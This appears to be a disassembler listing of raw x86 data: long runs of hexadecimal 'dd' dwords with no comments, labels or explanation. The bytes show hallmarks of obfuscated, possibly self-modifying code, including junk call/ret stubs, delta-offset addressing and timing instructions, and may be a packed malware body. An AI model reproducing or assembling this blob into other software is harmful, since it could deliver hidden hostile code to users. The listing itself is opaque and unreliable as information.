		dd 0A841B7C3h, 0E9B863CCh, 12h,	816F695h, 32DB08Dh, 0D7C2C046h
		dd 0DCA9CBE3h, 2FB7CF28h, 9463858Dh, 6A07E3h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 20FED8C3h
		dd 0C36B708Ch, 90D5F6F2h, 0CE9h, 3321FF00h, 3C2E0C28h
		dd 8864E881h, 8A60502Ah, 649061CFh, 35FFh, 0BD8B0000h
		dd 7E025ADh, 1E0D9D8Bh,	896407E0h, 25h,	0D19D8B00h, 0FF07E019h
		dd 0E020FD85h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 3EB516EDh, 0D68D7E4Dh
		dd 0BB66FF6Ah, 0B5FF5A24h, 7E02A5Dh, 253D9D31h,	95FF07E0h
		dd 7E03389h, 135E9h, 69D38000h,	0DE900B0h, 92000000h, 34D1B342h
		dd 0FE2F2E91h, 22EDEFCDh, 616070E6h, 8E0F71E4h,	6, 1CA59589h
		dd 0FE907E0h, 31000000h, 4413495Fh, 3D63BF41h, 0C6E5A46Ah
		dd 613C05F1h, 0F0830Fh,	9560000h, 0E006A595h, 0BD895B07h
		dd 7E01555h, 57C8B60Fh,	12E9h, 90FF1000h, 37CD36B0h, 7F319AB2h
		dd 4C77E87Ah, 5F681616h, 6BAh, 68D0F00h, 89000000h, 0E02A399Dh
		dd 66C18B07h, 0C17D1BBFh, 8B6604E8h, 0E2F766FAh, 0C82B5B57h
		dd 0B589D18Bh, 7E0140Dh, 93E9D98Bh, 66000000h, 0DA74D381h
		dd 1858Bh, 0E7800000h, 65B58988h, 8307E005h, 950107C0h
		dd 7E0088Dh, 5300C083h,	24F5BD33h, 0E95F07E0h, 6, 28B5B065h
		dd 0D03BC02Eh, 0A830Fh,	8CBF0000h, 0E9074702h, 4Eh, 0FFFF8D8Bh
		dd 9D8BFFFFh, 7E033F9h,	0F01E183h, 3984h, 0BF0FF900h, 0FFA583FBh
		dd 0FEFFFFFFh, 0E860D8B7h, 5, 9E2BA430h, 7B9668Eh, 0BD895AFEh
		dd 7E013FDh, 1958961h, 0F000000h, 48Ah,	0C6BF6600h, 0E924h
		dd 0B58D0000h, 7E46200h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0CCC35343h, 8166ACB5h, 6A7EB0D7h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 8B2B2C6Eh, 0E01DD9BDh, 0A995FF07h, 6A07E018h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 7057C353h, 0AD54394Ch, 9F23C51h, 2FDD8D29h, 0B8B907E0h
		dd 8B00000Fh, 0E0074DBDh, 0FCE18307h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0AAC35141h,	37B960FCh, 8918BEE4h
		dd 0E008319Dh, 0B86107h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0B512C351h
		dd 8EEF8012h, 0B589D22Bh, 7E02FDDh, 0D1C233ADh,	83D003E8h
		dd 0F47504E9h, 6ADE8Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 1E7D94C3h, 0BBB5559Ah, 0DF816660h
		dd 8166ABC8h, 61536AEAh, 880Dh,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0FFB8C4FAh
		dd 7CD8FF88h, 0B59D0112h, 0E907E01Fh, 12h, 0F0A14809h
		dd 2A13E7D8h, 776F243h,	8FE37B86h, 8B600D06h, 0E0207195h
		dd 0D0816607h, 8B613523h, 0E0181595h, 0EB816607h, 0BD8B6A96h
		dd 7E02169h, 20498D8Bh,	6A07E0h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 8B0511C3h, 0E018299Dh
		dd 0C28B5007h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 62CAC357h, 11E9AEh, 9FCE0000h, 0B82BFE65h
		dd 1840DE0Ch, 2B530F0Dh, 6AC145FFh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0C000C350h
		dd 0C7C6533Ch, 8B1FCAEDh, 0E01CE99Dh, 0F5BD8307h, 7E012h
		dd 71840Fh, 0D1BF0000h,	663D9C05h, 0B8F88Bh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 2704C351h, 0C9FC04C9h, 1791A93h, 0E00571B5h
		dd 0E88D8D07h, 6A07E04Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0E07C356h, 89B7E8BAh
		dd 0E023318Dh, 0E99D8B07h, 0FF07E02Ch, 81BD89E1h, 8307E026h
		dd 0E022C5BDh, 840F0007h, 406h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0CBC35040h,	20220DFDh, 0E978B580h
		dd 0Bh,	323DFB22h, 6455036Ah, 83BF6927h, 0E022C5BDh, 840F0107h
		dd 3E1h, 13199D8Bh, 0BD8307E0h
		dd 7E022C5h, 98860F03h,	57000003h, 1F5D9589h, 295F07E0h
		dd 0E020F195h, 0B70F6007h, 0D98C66F9h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0D2C35242h,	10E961B3h, 99000000h
		dd 0C075B326h, 0F78D595Bh, 0A71312A8h, 80E5B71Fh, 0AF904E1h
		dd 0C4840FC9h, 8B000000h, 0E0339985h, 3389B307h, 0E0318985h
		dd 499D8B07h, 9007E02Fh, 8B50DE8Bh, 8D8990FBh, 7E01385h
		dd 840F006Ah, 5, 30F38166h, 4E866h, 3FF0000h, 4EBB001Fh
		dd 502C2BE8h, 8BD98B66h, 0F042444h, 489h, 0C5BF6600h, 0E9008BB9h
		dd 6, 5902C13Eh, 44892706h, 8B660424h, 0BD8B58DEh, 7E020EDh
		dd 21CD95FFh, 6A07E0h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 1CEF6C3h, 810ABB78h, 0CE45BCD7h
		dd 0E18D8925h, 8907E01Fh, 0E3CBAD85h, 0BE96007h, 3E000000h
		dd 8C90AB18h, 0C9280640h, 61FCD0D7h, 68D38166h,	1C8E91Eh
		dd 0BBBB0000h, 8B060483h, 0E3CBA585h, 0C7F807h,	18h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 5BC35242h, 891DC256h
		dd 0E02565BDh, 0A9B58B07h, 6A07E3CBh, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 2B7CC353h
		dd 0AB7B0E76h, 0EABF1C55h, 0E842C776h, 8, 2AF2CF00h, 6D6719ECh
		dd 70FBC781h, 95F53A0h,	0E01981BDh, 0F9858B07h,	6A07E005h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0B6EC350h, 0E016F1BDh, 0D7EB8107h, 89010FD4h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 2BBFD188h, 5019941Bh, 68B0Fh, 9D8B0000h
		dd 7E007FDh, 99858B5Bh,	8907E033h, 6A0446h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0D96520C3h
		dd 865D991h, 0B3EB4732h, 0E850960Eh, 5,	886AC965h, 5BFC8A60h
		dd 860F505Fh, 8, 8B0F56h, 5F000000h, 0FBB70F96h, 0CBA5B5FFh
		dd 6A07E3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0A2864CC3h, 9C9ECFAh, 0E00DF1B5h,	0E9FB8B07h
		dd 8, 52586EA8h, 7E5CA94Bh, 6E58A368h, 0F98B66DCh, 5C240481h
		dd 6A23B0ABh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0A414C352h, 0D566AA1Fh, 0BF4E6DBAh
		dd 2B01BD2Bh, 858D07E0h, 7E3CBADh, 1EBD9D8Bh, 525007E0h
		dd 5BDE8B66h, 66240489h, 0FFBFE1BFh, 0E021CD95h, 0F61F507h
		dd 0E8Dh, 858B6000h, 7E02C95h, 31E1B589h, 0C76107E0h, 0E022C585h
		dd 307h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 0EB814AF7h, 232B41BDh, 2989C781h
		dd 0BD836905h, 7E3CBADh, 68840F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 1B31C356h, 71501E13h, 0E9FC603Dh, 5Ah, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Dh, 7FC35141h, 76BA470h
		dd 9A9447E5h, 4D8D8903h, 0E807E01Eh, 6,	3C060C80h, 0B70F6439h
		dd 81665BF9h, 507970DFh, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 52F8C08Bh, 2DD1B589h, 575F07E0h
		dd 1385BD8Bh, 835F07E0h, 0E022C5BDh, 850F0307h,	368h, 80ACBF66h
		dd 0CBADBD83h, 0F0007E3h, 35784h, 9E900h, 65650000h, 2F33AECCh
		dd 0FF99B16Dh, 0E3CBADB5h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0DCF75116h
		dd 0A6D6963Eh, 8152B190h, 80F669D3h, 95FF5F3Ch,	7E01DA9h
		dd 0E6573FBBh, 0A1B58B08h, 0BB07E3CBh, 41652B85h, 106C7h
		dd 89560001h, 0E01939B5h, 53505B07h, 0AE857h, 0ABD60000h
		dd 0AD292D26h, 0C4E6894h, 895B5B5Fh, 6A2434h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 3405B0C3h
		dd 0DC5E8EA5h, 0BFEB3F57h, 78D3342Ah, 0ADB5FFF5h, 0E907E3CBh
		dd 7, 98B409F1h, 0FF787083h, 0E0301195h, 0BE78107h, 8B1997D5h
		dd 0E3CBA1B5h, 0E5B58907h, 8B07E018h, 0E022D185h, 61BD0B07h
		dd 8907E02Ah, 0C486h, 0B1B58900h, 0E907E004h, 0Fh, 0B3CDFA8Dh
		dd 0B03B65CAh, 2F2D74Bh, 8BEAB1ECh, 0E0181595h,	56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 86EB1F2Bh, 6A04C283h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0BCD3C352h,	5089FE8Ah
		dd 99B52920h, 8D07E021h, 0E3E0D485h, 38D0F07h, 0F000000h
		dd 8689FFBFh, 0B8h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 48C35646h, 6A657C81h,	51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 12903125h, 0AE9h, 324FDE00h,	0D0E92C54h, 0FF497C45h
		dd 0E3CBADB5h, 6DBD8B07h, 0FF07E022h, 0E02A9995h, 0FE907h
		dd 0BB740000h, 0C3A37636h, 76B6CA6Ah, 37780D23h, 0BB509677h
		dd 60AD4C44h, 8B66505Fh, 0BD8B96FAh, 7E01B91h, 0CBADB5FFh
		dd 6A07E3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 3C8A49C3h, 0E0845BDDh, 8D0F894Ch,	12h, 0BE956h
		dd 0DAB60000h, 75F5AF94h, 57EC68F2h, 0BF665FCFh, 95FFB93Dh
		dd 7E028E9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	4CC35747h, 0BD8320CBh, 7E028E1h, 40840F00h, 0F5000000h
		dd 0BE950h, 640B0000h, 0CE91548Dh, 8ED2976Ah, 2434898Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 1DC35141h
		dd 0BC9867DEh, 16B0B03Ah, 499D8B12h, 0FF07E031h, 0E3CBADB5h
		dd 0CC8A6007h, 11E861h,	0F4240000h, 18B9092Ch, 5EF0771Ch
		dd 94D1930Eh, 66BEA73Ch, 7DAAEB81h, 3595FF5Bh, 5207E030h
		dd 38B0Fh, 0BF0F0000h, 0B5FF5BDFh, 7E3CBADh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0C9C35040h, 0CE18EBE9h
		dd 800Fh, 9D310000h, 7E00439h, 1B995FFh, 858907E0h, 7E02AD9h
		dd 731BD83h, 0F0207E0h,	2384h, 119D3300h, 8B07E01Ah, 0E0203985h
		dd 79858907h, 5007E00Fh, 1829BD89h, 0C65B07E0h,	0BD8B0000h
		dd 7E03325h, 43D85C7h, 7E0h, 0D3810000h, 2860EB44h, 0FFF43BE9h
		dd 0ED9D8BFFh, 8B07E01Fh, 0B5BD2BC1h, 8907E007h, 0E001E985h
		dd 0C9858D07h, 0F807E013h, 8922B350h, 0DE8B2404h, 7F59D33h
		dd 6A07E0h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 18h,	0BEC35040h, 0DE65BF33h,	1371BD2Bh, 0BD8B07E0h
		dd 7E02E95h, 9D8B006Ah,	7E023B9h, 2030BB66h, 0EFB2858Dh
		dd 8D8907E4h, 7E02F55h,	0F05C083h, 0C87h, 6870F00h, 1000000h
		dd 0E01E5DBDh, 0BE99007h, 0F2000000h, 0B8C562ABh, 26C59896h
		dd 0B750B117h, 6A90E7h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0D36FAAC3h, 5214C158h, 8B606E0Fh
		dd 0BEBA66D0h, 6A6104h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0E9C35747h, 7F65D6C7h, 658D290Eh, 6A07E025h
		dd 0F9B70F00h, 344195FFh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0C32409C3h, 2D0E5075h
		dd 10E941h, 375E0000h, 109E40Dh, 3F5A50E1h, 0F816A6B4h
		dd 8D8D5B28h, 7E3A393h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0A0C35646h, 6AD1FFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0F7FA2FC3h
		dd 0CD4019BFh, 16B1BD83h, 0F0107E0h, 0C985h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0F8C154BDh, 0EE93B2Dh, 60000000h, 0FA1E5DE8h, 0E4226970h
		dd 8A783A34h, 0A5953185h, 6A07E022h, 50006A02h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0B99D2921h
		dd 9007E014h, 880F5250h, 13h, 0DE8h, 0BBECAC00h, 0A361148Eh
		dd 0EB00DF54h, 0F5B1441h, 52525031h, 0BB310F5Fh, 50809C4Eh
		dd 585A585Ah, 48E0F50h,	53000000h, 905F6160h, 1345BB66h
		dd 2A9995FFh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0BF2087C3h, 1EE68748h, 0DF99D8Bh
		dd 0A1E907E0h, 0E800000Eh, 0
aBaQfJ		db ']í¼ïä',7,'j',0
		db 56h,	0E8h, 3
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 63C4C356h, 4C4F9870h, 0F57C84Eh, 8A5BDABFh, 0DE857DCh
		dd 17000000h, 49513003h, 78900CDh, 4977BBE3h, 1061BD33h
		dd 5B5B07E0h, 9463858Dh, 858907E3h, 7E014D9h, 0FA8B6690h
		dd 8E86050h, 6D000000h,	4D00715Dh, 0E9BB17A0h, 0Dh, 3A81DEEFh
		dd 0EA4BE503h, 785661F1h, 25BE58B6h, 6152884Eh,	52006A90h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0E1332880h, 8DF63A52h, 35FF64h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0C7BEC351h, 1DCE1D5h, 0E025A195h, 25896407h,	0
		dd 5E16BF66h, 20FD85FFh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 71404DC3h, 0CDD1F8Dh
		dd 0BE8h, 5E437600h, 23BF017Fh,	0B63E7CA4h, 6810Fh, 860F0000h
		dd 0
		dd 6AFF6A5Fh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0DF0C350h, 0D4C028F7h,	815E2A34h
		dd 8BA5BBDFh, 0A1B5FF7Fh, 6A07E007h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0FFBBC357h
		dd 0E0338995h, 117E907h, 89600000h, 0E031E195h,	8D953307h
		dd 6107E023h, 8B0F00B0h, 4, 0C06BF66h, 0E78170E6h, 68EE85F1h
		dd 21799D89h, 71E407E0h, 5880Fh, 81660000h, 3C0A32E7h
		dd 0DA830F61h, 81000000h, 2ABD23C3h, 0C8B60F7Dh, 559BD09h
		dd 6BA07E0h, 0F000000h,	681h, 0EED78100h, 8B198C50h, 65B589C1h
		dd 6007E032h, 0F9D78166h, 79BD314Eh, 6107E01Fh,	5704E8C1h
		dd 2FF98D89h, 665B07E0h, 0BB66E2F7h, 0C82B7A22h, 899BD8Bh
		dd 0D18B07E0h, 0E9F98B66h, 81h,	719D8B50h, 5B07E023h, 4858Bh
		dd 0B5010000h, 7E00565h, 6607C083h, 0EBCEF381h,	300C083h
		dd 0E029299Dh, 0FD03B07h, 0E83h, 76E78100h, 0E91E0933h
		dd 49h,	8BFE8B66h, 0FFFFFF8Dh, 840FFFh,	83000000h, 840F01E1h
		dd 31h,	10E9h, 6A8DCA00h, 0F8CB8454h, 0D625D687h, 4FF94FEBh
		dd 0FFA58327h, 0FEFFFFFFh, 3397BB66h, 49589h, 8D310000h
		dd 7E00689h, 0E9h, 0B8B58D00h, 6A07E471h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 5DDAC352h
		dd 0FE16C4C8h, 13F59D8Bh, 6A07E0h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 3DC35242h, 99770B77h, 7DF31FAh
		dd 22759D89h, 95FF07E0h, 7E018A9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 14C35343h, 1E1B767Eh, 0EE928h
		dd 0F2D10000h, 9E04834Ch, 0AE9DD091h, 89F9F152h, 0EF8B9h
		dd 0C830F00h, 0F000000h, 68Fh, 21BD8B00h, 8307E02Ah, 6AFCE1h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 8DAD98C3h, 7BDAD783h, 0A8BB2387h, 0FC196F82h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0BAC35646h, 87EF8163h
		dd 8B491A2Fh, 0E017099Dh, 0E9C02B07h, 14h, 0D913ACDDh
		dd 4D5EE187h, 0E160F89Eh, 0C768901h, 0B08FBDDCh, 20419D8Bh
		dd 0BA07E0h, 0B3000000h, 0C233AD63h, 0D003E8D1h, 7504E983h
		dd 219589F4h, 5307E011h, 0BEA7C781h, 0D5F2252h,	88h, 441BD33h
		dd 958B07E0h, 7E01815h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0E1C35545h, 498D8B8Eh, 6A07E020h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0B51CC356h, 1DF288FCh, 14E937h, 0FBD00000h, 68A0988Bh
		dd 4ED00CCAh, 894FFB04h, 4472EE84h, 8B5072C6h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 128D8589h, 6A07E0h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 10A1E8C3h, 76D73FB3h, 8C0F4112h, 2, 0BD8307B3h, 7E012F5h
		dd 55840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0F352C351h,	0B85Eh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0B757B6C3h, 2800FD3h, 8B000000h, 0E88D8DD9h
		dd 0F807E04Eh, 0E1FFDF8Bh, 22C5BD83h, 0F0007E0h, 4AC84h
		dd 71BD8B00h, 8307E033h, 0E022C5BDh, 840F0107h,	4B4h, 83D9B70Fh
		dd 0E022C5BDh, 860F0307h, 46Eh,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 96C35545h, 1B621941h, 66F6CAAAh
		dd 91573BBh, 0E00691BDh, 6A6007h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 1ABFE2C3h, 0BB66BA8Dh
		dd 0DF8B1EBAh, 0E9D98C66h, 0Ch,	4D958AE8h, 78D84B63h, 2164DFD8h
		dd 6A04E180h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 50EDC355h, 1672C096h, 0A62D65ECh
		dd 840FC90Ah, 15Eh, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 8BC35646h, 0FCE1F583h, 12C9BD8Bh, 858B07E0h
		dd 7E03399h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	9FC35242h, 0EB684769h, 88D5BCA9h, 8BD9B70Fh, 0E01B119Dh
		dd 89853307h, 6A07E031h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 897DC355h, 613E81FAh
		dd 24048950h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Dh,	4BC35747h, 0AB4ACF68h, 149FF7DAh, 55BD8B00h, 6A07E000h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0A5852971h, 8B07E01Ch, 0E00DDD9Dh, 4E807h
		dd 3FF0000h, 8C0F001Fh,	4, 0A345BB66h, 0DABB5650h, 5B3CF792h
		dd 424448Bh, 8BF88Bh, 870Fh, 44890000h,	0D88B0424h, 57006A58h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 4DBD8BC4h, 0BB07E020h, 2BAC31D1h, 21CD95FFh,	0BD0107E0h
		dd 7E01555h, 0CBAD8589h, 12E907E3h, 56000000h, 0A836A5ECh
		dd 2B1B69EBh, 0BCFF0CE7h, 2E104653h, 228E9B8h, 858B0000h
		dd 7E3CBA5h, 59B7A9B3h,	1800C7h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0CBE3D7C3h
		dd 0CF28DCA9h, 0BD8BB30Ah, 7E01D09h, 0CBA9B58Bh, 0DE807E3h
		dd 40000000h, 84194BE2h, 42C434FEh, 0DE8A2365h,	12E860h
		dd 6A890000h, 0AE9BC8h,	0C60A68E0h, 0AD716068h,	0EB0586Ch
		dd 0A98D8B5Eh, 6107E02Ch, 0F9858B5Fh, 6A07E005h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 310DC356h, 0E00FD585h, 6A068907h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 2D7BC351h
		dd 6D95AAECh, 68B0FEFh,	89000000h, 0E005A18Dh, 99858B07h
		dd 6A07E033h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0DB6BC353h, 0B56CB88Bh, 446894Ch
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0DDC35141h
		dd 228F3F1Bh, 201DBD89h, 605007E0h, 50D18B66h, 5E952h
		dd 0CE860000h, 0F93E091h, 61585A31h, 8B243489h,	0E0205DBDh
		dd 0A5B5FF07h, 8B07E3CBh, 0E02DE9BDh, 0E9BD8B07h, 0E807E001h
		dd 4, 1F03FFh, 7E850h, 7C910000h, 0E87F2F95h, 8C0F42h
		dd 5B000000h, 424448Bh,	74541CBFh, 0BB008B14h, 66DE27AFh
		dd 4244489h, 0CDC9EBFh,	81665837h, 8D2F3EC3h, 0E3CBAD85h
		dd 299D8B07h, 9007E01Eh, 0BB665250h, 310F2715h,	8E960h
		dd 0BF90000h, 14E851A1h, 5250EE2Bh, 585A310Fh, 50585A61h
		dd 0DD8A5250h, 0E860310Fh, 12h,	1C861ED1h, 2625A6A5h, 25E91BF7h
		dd 890E7BFh, 605EBDF7h,	585A6161h, 5880F90h, 0BB000000h
		dd 1796557Bh, 11E8h, 17948200h,	0C279AB3Fh, 0D0307C16h
		dd 0CAAE0522h, 13E84D12h, 1C000000h, 0E666BD3Dh, 3CF9CA4Fh
		dd 0D9F132DAh, 0EADA8485h
		dd 9D8B784Ah, 7E02A31h,	95FF5B5Fh, 7E021CDh, 14958589h
		dd 0C76107E0h, 0E022C585h, 307h, 5B50900h, 8307E01Ch, 0E3CBADBDh
		dd 840F0007h, 32h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 57C35646h, 65620BE4h,	0F9BD2903h, 0E907E012h
		dd 21h,	0AFB0F781h, 30503730h, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 7389BBC0h, 6A6F8Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0B9A621C3h
		dd 5B095CFh, 8B60A534h,	61D18BDAh, 0C1D38166h, 0C5BD83D9h
		dd 307E022h, 44C850Fh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 48D9AAC3h, 0C27CA811h
		dd 0CBADBD83h, 0F0007E3h, 41D84h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0BB66D255h
		dd 0B5FF5858h, 7E3CBADh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 16h, 83C35545h, 8B66EB7Eh,	85D381D9h, 0FF244AECh
		dd 0E01DA995h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 9F03D4EDh, 830FAB00h
		dd 3, 8BDEBF0Fh, 0E3CBA1B5h, 52006A07h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 8955782h, 0BD8B0142h
		dd 7E01635h, 1BB98509h,	6C707E0h, 10001h, 6650FDB7h, 899FFDBBh
		dd 81662434h, 0FFF8B3E3h, 0E3CBADB5h, 558D8907h, 2907E013h
		dd 0E02929BDh, 1195FF07h, 6A07E030h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0B1F1C352h
		dd 0A1B58B75h, 6A07E3CBh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 5A21C350h, 0BC3EDF6h
		dd 0E0118D9Dh, 0EE907h,	24AD0000h, 41107FE7h, 4605CAD3h
		dd 65951262h, 22D1858Bh, 8B6607E0h, 0C48689D8h,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 6223C350h, 1F1A610Dh, 0C642BF66h,	1815958Bh
		dd 6A07E0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 671CE8C3h, 22D89B6h, 83C8B28Dh, 0DF8B04C2h
		dd 0B205089h, 0E02439BDh, 0D4858D07h, 107E3E0h,	0E019D995h
		dd 0B8868907h, 0E9000000h, 0Bh,	697FE39h, 0F64E1245h, 6A0D6779h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 602A8202h, 869DBDBFh, 0D195891Eh, 6107E031h
		dd 0CBADB5FFh, 6A07E3h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0D82BDEC3h, 6A223FD8h, 0FFEC7F13h
		dd 0E02A9995h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 1B6BE8AEh, 1519D09h, 605007E0h
		dd 14E8h, 0A00B7200h, 0B5A75965h, 8EA95D15h, 0AF62259Ah
		dd 773DDE33h, 5EA0B00Bh, 61C18B66h, 6A243489h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 8B0AC355h, 0ADB5FFDFh, 6A07E3CBh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 544AC351h
